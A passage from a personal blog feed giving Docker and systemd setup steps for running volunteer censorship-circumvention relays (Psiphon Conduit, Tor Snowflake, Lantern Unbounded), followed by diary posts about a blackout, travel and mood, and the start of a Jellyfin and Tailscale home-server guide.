<p>The important part is persistence. Conduit generates an identity key the first time it runs (<code>conduit_key.json</code>), and that identity builds reputation over time. If you lose it, you start from zero again.</p>
<h3 id="the-file-srvconduitdocker-composeyml">The file: <code>/srv/conduit/docker-compose.yml</code></h3>
<p>Create it:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cd /srv/conduit
</span></span><span style="display:flex;"><span>vim docker-compose.yml
</span></span></code></pre></div><p>Paste this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">services</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">conduit</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">image</span>: <span style="color:#ae81ff">ghcr.io/ssmirr/conduit/conduit:latest</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">container_name</span>: <span style="color:#ae81ff">conduit</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">restart</span>: <span style="color:#ae81ff">unless-stopped</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># Keep keys and state across restarts</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">volumes</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">./data:/app/data</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># Optional: if you want a different bandwidth limit / max clients,</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># you can pass CLI flags here (these are examples).</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># command: [&#34;conduit&#34;, &#34;start&#34;, &#34;-b&#34;, &#34;4&#34;, &#34;-c&#34;, &#34;8&#34;]</span>
</span></span></code></pre></div><p>Then bring it up:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose up -d
</span></span><span style="display:flex;"><span>docker logs -f conduit
</span></span></code></pre></div><p>When it’s working, you’ll see things like:</p>
<ul>
<li><code>[OK] Connected to Psiphon network</code></li>
<li>periodic <code>[STATS]</code> lines with Connecting/Connected counters (that’s your “is anyone using this?” moment)</li>
</ul>
<p>If you ever want to stop it:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker stop conduit
</span></span></code></pre></div><p>Or “disable but keep everything” (recommended):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose down
</span></span></code></pre></div><p>Or “delete it from orbit” (not recommended unless you enjoy rebuilding):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker rm -f conduit
</span></span></code></pre></div><hr>
<h2 id="snowflake-tor-but-even-quieter-docker-compose">Snowflake: Tor, but even quieter (Docker Compose)</h2>
<p>Snowflake serves Tor users. It’s explicitly designed to work behind NAT and CGNAT, which makes it perfect for home connections. The Tor Project provides an official Docker Compose file that includes <strong>watchtower</strong> for automatic updates.</p>
<h3 id="the-file-srvsnowflakedocker-composeyml">The file: <code>/srv/snowflake/docker-compose.yml</code></h3>
<p>You can download the official file exactly like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cd /srv/snowflake
</span></span><span style="display:flex;"><span>wget -O docker-compose.yml <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>  <span style="color:#e6db74">&#34;https://gitlab.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake/-/raw/main/docker-compose.yml?ref_type=heads&#34;</span>
</span></span></code></pre></div><p>If you’d rather create it yourself (it’s tiny), here’s the same thing in readable YAML:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">services</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">snowflake-proxy</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">network_mode</span>: <span style="color:#ae81ff">host</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">image</span>: <span style="color:#ae81ff">containers.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake:latest</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">container_name</span>: <span style="color:#ae81ff">snowflake-proxy</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">restart</span>: <span style="color:#ae81ff">unless-stopped</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># For a full list of Snowflake proxy args, see the upstream docs.</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># Example if you ever need it:</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># command: [&#34;-ephemeral-ports-range&#34;, &#34;30000:60000&#34;]</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">watchtower</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">image</span>: <span style="color:#ae81ff">containrrr/watchtower</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">container_name</span>: <span style="color:#ae81ff">watchtower</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">restart</span>: <span style="color:#ae81ff">unless-stopped</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">volumes</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">/var/run/docker.sock:/var/run/docker.sock</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">command</span>: <span style="color:#ae81ff">snowflake-proxy</span>
</span></span></code></pre></div><p>Start it (with auto updates):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker compose up -d
</span></span><span style="display:flex;"><span>docker logs -f snowflake-proxy
</span></span></code></pre></div><p>If you see:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>Proxy starting
</span></span><span style="display:flex;"><span>NAT type: restricted
</span></span></code></pre></div><p>…that’s totally fine. “Restricted” is normal for home NAT. If it’s running, you’re helping.</p>
<p>If you get the “container name already in use” error, it just means you already have a <code>snowflake-proxy</code> container from a previous attempt. Fix it with:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>docker rm -f snowflake-proxy
</span></span><span style="display:flex;"><span>docker compose up -d
</span></span></code></pre></div><hr>
<h2 id="lantern-unbounded-a-browser-that-helps-people-systemd--xvfb">Lantern Unbounded: a browser that helps people (systemd + Xvfb)</h2>
<p>Lantern Unbounded is different: it runs in a browser (WASM + WebRTC), which makes volunteering frictionless… but also makes servers go “uhh… where is your display?”.</p>
<p>So we cheat — politely.</p>
<p>We run Chromium inside a virtual display (Xvfb) and supervise it with systemd. No monitor needed. No desktop clicking. It just… exists… and helps.</p>
<h3 id="install-what-we-need">Install what we need</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt update
</span></span><span style="display:flex;"><span>sudo apt install -y xvfb
</span></span><span style="display:flex;"><span>sudo apt install -y chromium-browser <span style="color:#f92672">||</span> sudo apt install -y chromium
</span></span></code></pre></div><h3 id="fix-the-x11-socket-dir-permissions-the-annoying-but-essential-part">Fix the X11 socket dir permissions (the annoying but essential part)</h3>
<p>If you don’t do this, Xvfb may throw:</p>
<p><code>_XSERVTransmkdir: ERROR: euid != 0, directory /tmp/.X11-unix will not be created.</code></p>
<p>Fix it once:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo chmod <span style="color:#ae81ff">1777</span> /tmp
</span></span><span style="display:flex;"><span>sudo mkdir -p /tmp/.X11-unix
</span></span><span style="display:flex;"><span>sudo chown root:root /tmp/.X11-unix
</span></span><span style="display:flex;"><span>sudo chmod <span style="color:#ae81ff">1777</span> /tmp/.X11-unix
</span></span></code></pre></div><h3 id="the-file-etcsystemdsystemunboundedservice">The file: <code>/etc/systemd/system/unbounded.service</code></h3>
<p>Pick your username. On my boxes, it’s either <code>hub</code> or <code>rpi</code>. Use your actual user.</p>
<p>Create the service:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo vim /etc/systemd/system/unbounded.service
</span></span></code></pre></div><p>Paste this, and <strong>replace <code>YOUR_USER</code></strong> with your username (e.g. <code>hub</code> or <code>rpi</code>):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ini" data-lang="ini"><span style="display:flex;"><span><span style="color:#66d9ef">[Unit]</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Description</span><span style="color:#f92672">=</span><span style="color:#e6db74">Lantern Unbounded (Xvfb + Chromium)</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">After</span><span style="color:#f92672">=</span><span style="color:#e6db74">network-online.target</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Wants</span><span style="color:#f92672">=</span><span style="color:#e6db74">network-online.target</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">[Service]</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">User</span><span style="color:#f92672">=</span><span style="color:#e6db74">YOUR_USER</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Environment</span><span style="color:#f92672">=</span><span style="color:#e6db74">DISPLAY=:99</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Environment</span><span style="color:#f92672">=</span><span style="color:#e6db74">XDG_RUNTIME_DIR=/run/user/%U</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">ExecStart</span><span style="color:#f92672">=</span><span style="color:#e6db74">/usr/bin/bash -lc &#39;\
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">  /usr/bin/Xvfb :99 -screen 0 1280x720x24 -nolisten tcp -ac &amp; \
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">  sleep 1; \
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">  $(command -v chromium || command -v chromium-browser) \
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    --no-first-run \
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    --disable-breakpad \
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    --disable-features=TranslateUI \
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    --autoplay-policy=no-user-gesture-required \
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    --use-fake-ui-for-media-stream \
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    --disable-gpu \
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    --no-sandbox \
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    --app=https://unbounded.lantern.io/ \
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    --kiosk \
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    --window-size=1280,720 \
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    --user-data-dir=/home/YOUR_USER/.config/unbounded-chromium \
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">    --disk-cache-dir=/home/YOUR_USER/.cache/unbounded-chromium \</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Restart</span><span style="color:#f92672">=</span><span style="color:#e6db74">always</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">RestartSec</span><span style="color:#f92672">=</span><span style="color:#e6db74">5</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">KillMode</span><span style="color:#f92672">=</span><span style="color:#e6db74">mixed</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">[Install]</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">WantedBy</span><span style="color:#f92672">=</span><span style="color:#e6db74">multi-user.target</span>
</span></span></code></pre></div><p>Enable and start:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo systemctl daemon-reload
</span></span><span style="display:flex;"><span>sudo systemctl enable --now unbounded.service
</span></span><span style="display:flex;"><span>systemctl status unbounded.service --no-pager
</span></span></code></pre></div><p>If you see <code>Active: active (running)</code>, you’ve won.</p>
<h3 id="it-runs-headless-ish-but-how-do-i-know-its-alive">“It runs headless-ish, but how do I know it’s alive?”</h3>
<p>The simplest “is it on?” checks:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>systemctl status unbounded.service --no-pager
</span></span><span style="display:flex;"><span>journalctl -u unbounded.service -f
</span></span></code></pre></div><p>And the “is it actually doing network things?” check:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo ss -tunap | egrep <span style="color:#e6db74">&#39;chrome|chromium|:443|:3478&#39;</span> <span style="color:#f92672">||</span> true
</span></span></code></pre></div><p>If you ever want to stop it:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo systemctl stop unbounded.service
</span></span></code></pre></div><p>If you want it not to start on boot:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo systemctl disable unbounded.service
</span></span></code></pre></div><hr>
<h2 id="a-note-on-safety-legality-and-expectations">A note on safety, legality, and expectations</h2>
<p>None of this makes you anonymous or magically protected from local laws. You’re contributing bandwidth and connectivity to systems designed to reduce risk — but you should still understand your own environment, and you should still be comfortable with what you’re running.</p>
<p>The good news is that all of these tools are designed so you’re not manually granting access to random people. You’re volunteering into networks that already do the hard parts.</p>
<p>That’s the part I like.</p>
<hr>
<h2 id="the-quiet-satisfaction-of-it-all">The quiet satisfaction of it all</h2>
<p>There’s something deeply satisfying about knowing that a small box on a shelf is occasionally helping someone read, learn, or communicate when they otherwise couldn’t.</p>
<p>No dashboard. No vanity metrics. Just the occasional log line, quietly scrolling by.</p>
<p>And honestly? That’s enough.</p>
<hr>
<h2 id="some-rants">Some rants</h2>
<p>I was unable to hear from my parents in the first two weeks of the blackout. In fact, the first time I heard their voices was a few days ago. Ever since then we&rsquo;ve been able to hear each other over calls — not fancy digital ones, the shitty GSM stuff. I saw my mom&rsquo;s face for a few seconds on the first day she managed to connect to Psiphon, but after that no luck. :(</p>
<p>This is super sad and frustrating. I&rsquo;ve not really been writing anything due to this. When I came back from my congress + Vienna trip, I&rsquo;ve been dealing with this situation. It&rsquo;s just annoying. Let&rsquo;s cross our fingers for one of my fantasy mind‑created things come true. Things are so incredibly much better in my mind. I want to live in my mind and never come out. Uh&hellip; :(</p>
<hr>
<div class="signature-block" style="margin-top:1rem">
  <p><strong>Downloads:</strong>
    <a href="/sources/posts/blackout.md">Markdown</a> ·
    <a href="/sources/posts/blackout.md.asc">Signature (.asc)</a>
  </p><details class="signature">
    <summary>View OpenPGP signature</summary>
    <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----

iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
jSoETRAAm6hrWmkHuZeV8JvwSruIuOLkb5LjziFswHUJ8eHrkS&#43;WczSN1mgw5rrx
A7pKwjInH&#43;uf/gs3u84Fx9rrgwPTfLQN&#43;&#43;&#43;iuDYobWddwFWvXyCpJ/nBene2i8Dr
EwLxgEHAAUEDVmhQLv0TkRdFwhc4Rsds5ajDZHgWzj1GPw6SLpH4QCe02fvBm4Xu
5E&#43;QArl1w47DLJMktoxCT/8tTRtEdls8hwu5WHRJmq3PLJmC9ScSrUmN3S9k3Nrj
Ue5mkkZB25fCojBfRkfska9iYsASi2WxuKLsoiqbRqvi2KdgZ7OIGZM5HRUf9WNH
XEBD36MCgXA3YEjZPhBrVbOXsqosa5MLiV7XD684K6YsKf37hxqZC7p&#43;XhtcHxwh
Pg6AkODzJuZJV2h75UhqHiLSB9xhpX1mtV8IaToyiGRjnLuDthEDsFe7JjejF2cx
EXK9Jop7SSqAbB95WsLiWZtvaBgmcyv7XLoe9v5xAm0HyQ97Jn84hnXB1d8QQon7
YYCMNgyLDMo7TlI4HPmgVQYU7/P4xbo6cBdOicif8N&#43;kj0Pf6uFQZ8TB&#43;/Grqsgo
xqyrVpCTo/FjabJc8ybN36GwuZVMXpkl3etf2Tmls4A4jDP6CsB5F9vcRnVHyeic
pihbZa4Gb9GZTdFmFAHuXVHyVU9APRAq9MMmrUJB9oJgvCOM&#43;Cw=
=t4W3
-----END PGP SIGNATURE-----
</pre>
  </details><p><em>Verify locally:</em></p>
  <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/blackout.md
curl -fSLO https://blog.alipour.eu/sources/posts/blackout.md.asc
gpg --verify blackout.md.asc blackout.md
  </pre>
</div>


]]></content:encoded></item><item><title>2025 Highlight</title><link>https://blog.alipour.eu/posts/2025_highlight/</link><pubDate>Mon, 05 Jan 2026 18:53:54 +0000</pubDate><guid>https://blog.alipour.eu/posts/2025_highlight/</guid><description>&lt;p>I just experienced my best two weeks of this cursed year. I went to 39c3 first, did 31.25h of Engel work, got to meet a bunch of extremely cool people, met the people I had made friends with from last year, and made new friends. No new contacts though. :)
Not only I got to see a lot of cool people, computers, projects, but also I attended many many cool talks and learned a lot. I also participated in a challenge that after solving I got a T-Shirt for. I also got myself a T-Shirt for my Engel work.&lt;/p></description><content:encoded><![CDATA[<p>I just experienced my best two weeks of this cursed year. I went to 39c3 first, did 31.25h of Engel work, got to meet a bunch of extremely cool people, met the people I had made friends with from last year, and made new friends. No new contacts though. :)
Not only I got to see a lot of cool people, computers, projects, but also I attended many many cool talks and learned a lot. I also participated in a challenge that after solving I got a T-Shirt for. I also got myself a T-Shirt for my Engel work.</p>
<p>After this very magical event, I got myself an Interrail 4-day pass and visited one of my two besties in Vienna. He had two sweet roomies, who were cool and hospitable. It truely felt like I was back home. We went out a few times, visited Vienna, went to an all-you-can-eat Sushi, played Poker, watched few movies together, baked a pizza with homemade sause and dough. I also managed to visit ISTA and got to test my flipper zero by cloning my friend&rsquo;s NFC tag. It was an amaing trip that I will not forget. I think I got much closer to my bestie. We&rsquo;ve been friends, but not that close at least in his eye. Though in mine he was my best friend before getting to meet my other best friend. ;P And yes, I do have two best friends. One lives in Vienna, and the other in Moen, Norway. They are just amazing people. We also did some cafe-hopping. Idk what about the trip was, but I enjoyed it so so incredibly much. I hope I see my friend more, and get to hangout with him more. There is a difference between those who are your real friends, and those who act like it for a bit. I think I&rsquo;m getting better at knowing who my friends are, and who are there for the heck of it. Oh, and we also plated lots and lots of PS5, Fifa2026, Brawlhalla, etc..</p>
<p>Bonus: Remember I said we went to a Sushi place? I&rsquo;ve been nagging people about going to a bar and practice flirting, they kinda say yes, but never do it. We saw an extremely beautiful girl in the Sushi place, and my friend told me if I&rsquo;m so serious, I should go tell her. And you know what, I did. I approached her, told her and her friend that &ldquo;we were eating across the hall, and I noticed how pretty she is!&rdquo;. They both smiled and thanked me, they truely glewed up!!! It was soooooooo sweeeeeeeeeet. I then wished them a nice evening and left. I didn&rsquo;t want to make it awkward by asking for a number, etc.. It was a beautiful memory, and I wanted it to stay beautiful. So hell yea. I noticed that my aura increased by a lot at least between me and the people we went to that place with. :D Yeeeehaaaaa.</p>
<hr>
<div class="signature-block" style="margin-top:1rem">
  <p><strong>Downloads:</strong>
    <a href="/sources/posts/2025_highlight.md">Markdown</a> ·
    <a href="/sources/posts/2025_highlight.md.asc">Signature (.asc)</a>
  </p><details class="signature">
    <summary>View OpenPGP signature</summary>
    <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----

iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
jSqqgw//YtZhSWMZxoRDP7DCvFwPU5XFvNzAbfRV7vbCjA0YTosI2zHVQpu0Os11
vHLyI6P0331AlPtEjcZG0ZLLreCDSOZjh9sZHgdoCMUyG5brdS2fIsMlFmPT5bj8
Ns61MOe4BYsKJF6/Uzt1aT8Pf21M2a5qgJ8GZ4hKh&#43;dxU4LtSIp6CaGNHH6mrhq5
LjY8rbQtJE2KzsuGevf4NNSQAhZGwxUlwfUsdreRFTWSVDpv7Tjwa/4Go&#43;hE/0n0
HWcmIsQgBMiu&#43;XEN5R8jCmW&#43;IZ4uN0FMW6Y&#43;IlfLKNmhhTCj/e&#43;2kO3mxP5TPltf
2B72vMhhca6xTW3yGIUh0C/QQz7CqCxB0KMsAQrO2ebwEZCkPspahxqoXL9E1QNy
JIafzVNz9tIDe1SfnP9NnxQ&#43;gNu8WIyPA96nUNDyhQyE3mgP6m68LKePrRHaJ1Zu
5xpuA8nesJsD9oM&#43;ryzcFgHzbPmu9Syub9xczWHYNParjS/34FzGZ7/kT6kKZCE2
cxIGSe7G53FL4ONXL/mQf7C2z5JwcRz0PJ2vstNEv/7oYF11jpvt0OsR9QjbxdF1
Msj9Hqs9rr9ylBYWztWmXws7SYuoZRdoC4M6lGucLsbcK&#43;FjAvby&#43;KYBObc/mbB4
ANszhS/yDDQIQwXJcmpKVpRWqE/eLTJGKndCinUsUnTnJ30mtr0=
=T3Em
-----END PGP SIGNATURE-----
</pre>
  </details><p><em>Verify locally:</em></p>
  <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/2025_highlight.md
curl -fSLO https://blog.alipour.eu/sources/posts/2025_highlight.md.asc
gpg --verify 2025_highlight.md.asc 2025_highlight.md
  </pre>
</div>


]]></content:encoded></item><item><title>Seeing the "Light"</title><link>https://blog.alipour.eu/posts/seeing_the_light/</link><pubDate>Thu, 25 Dec 2025 11:26:04 +0000</pubDate><guid>https://blog.alipour.eu/posts/seeing_the_light/</guid><description>&lt;p>I have a strong hunch that I made it. I beat my MDD. I&amp;rsquo;m finally happy! I&amp;rsquo;m happy for being single, for being who I am, for doing what I do. I can cherish every moment of my life now.&lt;/p>
&lt;p>Currently I&amp;rsquo;m sitting in Hamburg&amp;rsquo;s CCH, being an Angel in disguise. ;D&lt;/p>
&lt;p>I could not land myself any shifts before 1600, so I have to sit around and wait, and blog.&lt;/p></description><content:encoded><![CDATA[<p>I have a strong hunch that I made it. I beat my MDD. I&rsquo;m finally happy! I&rsquo;m happy for being single, for being who I am, for doing what I do. I can cherish every moment of my life now.</p>
<p>Currently I&rsquo;m sitting in Hamburg&rsquo;s CCH, being an Angel in disguise. ;D</p>
<p>I could not land myself any shifts before 1600, so I have to sit around and wait, and blog.</p>
<p>I also want to talk about some random thing that happened yesterday. It was me and a colleague in office. I suspected he&rsquo;s been wanting to talk to me about&hellip; well&hellip; something, but he was too cautious, as if I would screw him over? I have to clue to be honest. He insisted he had no idea I knew why he was saying that he was saying, but in the end I could see we both knew what we were talking about.</p>
<p>He kinda talked about my view on relationships and dating, the meaning behind it, and my future plans. He then told me to &ldquo;give time to time&rdquo;. So&hellip; yea. Idk. She will probably talk to me about this as time goes on. I don&rsquo;t want to feel anxious though, it should not matter what the outcome is. I should not count on anything, or start counting my chickens before they hatch.</p>
<p>Another funny thing that happened was that a friend of mine wanted to introduce a potential match, but then he kinda scewed away from it. I have no idea why, but since I tend to assume the worst in things, I should not thinnk about it.</p>
<p>As time goes by, and as I become more experienced, I feel more relieved.</p>
<hr>
<div class="signature-block" style="margin-top:1rem">
  <p><strong>Downloads:</strong>
    <a href="/sources/posts/seeing_the_light.md">Markdown</a> ·
    <a href="/sources/posts/seeing_the_light.md.asc">Signature (.asc)</a>
  </p><details class="signature">
    <summary>View OpenPGP signature</summary>
    <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----

iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM
jSr7aBAAgOSc2FBGLiHK&#43;6odcxj1VJGnhkV2ibMv8M1e1v1qzIu8wpBBhOzP/XCm
YQhFqtn6LIB2XWMnKjLagYTNgn8jWirAHC95QkoILsoAdShPvh57Tt&#43;DKmZnHJlz
siRwHqE/&#43;peFHpqfjwUf7GLzF/AeiFD3Se3nSPjRe4olRiUDMMhPvNDBW1seQqKn
y4CzVsjVClxVCyUf4b361F07&#43;XuGv3kmKOnWTV3suLZykpWpxiQTRdq&#43;jI7DBZKK
ZKimruFbc7iYVaQOs0biNXL2MFn9JXEvqAApPkkJ85JfVwvhDieThu&#43;sw0&#43;EQoc0
riFVnb2&#43;TK1OSkAu7w7HFLcUY0gGZ4&#43;lrmTQDpsEO69xcFXMyZZQDW/B4qnj2qo0
kp267oEPRToficNjpTKu0VhKtEaDNh5JMasxSEdwzehNp6K1Hp6LdRiVPEArWnxZ
jL35SgQzElB5ifYy3CYjTj2CA/qxC01OZrzoPbia9RLsdFBJEscYrSGBAqqRgZ/&#43;
KTK/nsubJQtXF0Ui7fCZS/Dv4iR3tH0hyDi&#43;w&#43;mYWRzzFq0jnQsBYYu3QmjuhU&#43;V
hfZHIYkH3yQV7k4XCa3wpMvnwC7I1od4ZmCjB98ITaz8U&#43;BVHRT//Y2w6Xnd1OJi
terYCiMGVC5sJzaUw8ZGfMf0l78J8X8B5KD&#43;ZBtAs12NdekX/V4=
=xRmw
-----END PGP SIGNATURE-----
</pre>
  </details><p><em>Verify locally:</em></p>
  <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/seeing_the_light.md
curl -fSLO https://blog.alipour.eu/sources/posts/seeing_the_light.md.asc
gpg --verify seeing_the_light.md.asc seeing_the_light.md
  </pre>
</div>


]]></content:encoded></item><item><title>Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4</title><link>https://blog.alipour.eu/posts/boredom/</link><pubDate>Sun, 21 Dec 2025 09:30:00 +0100</pubDate><guid>https://blog.alipour.eu/posts/boredom/</guid><description>A cozy, slightly chaotic, very fun setup story: turning a Raspberry Pi 4 into a private movie-night server with Jellyfin, Docker, and Tailscale—starting on microSD and graduating to SSD later.</description><content:encoded><![CDATA[<p>Ok. Let me tell you the why first. So&hellip;. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn&rsquo;t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It&rsquo;s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself &ldquo;let&rsquo;t message one of my two best friends&rdquo;, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours.</p>
<p>I wanted the kind of movie night where everyone presses play at the same moment, laughs at the same joke, and groans at the same plot twist—even when we’re scattered across different apartments and time zones. I also wanted it to be a little nerdy, a little elegant, and the kind of project that makes you feel like you own your gadgets again. Enter: a Raspberry Pi 4 (8GB), Jellyfin, and Tailscale.</p>
<p>This post is the “how it went” and the “how to do it” version. It’s written for the future-me who will forget everything the second it works, and for anyone who wants a private streaming setup without punching holes in their router for the entire internet to poke at.</p>
<h2 id="the-idea">The idea</h2>
<p>Jellyfin is the media server that turns your own movie files into a nice Netflix-like library. Tailscale is the secret tunnel that lets your friends reach your server as if they were sitting on your Wi‑Fi—without you exposing ports to the public internet. Docker is the little shipping container that keeps everything tidy and portable, which matters because I started on a microSD card and planned to move to an SSD later.</p>
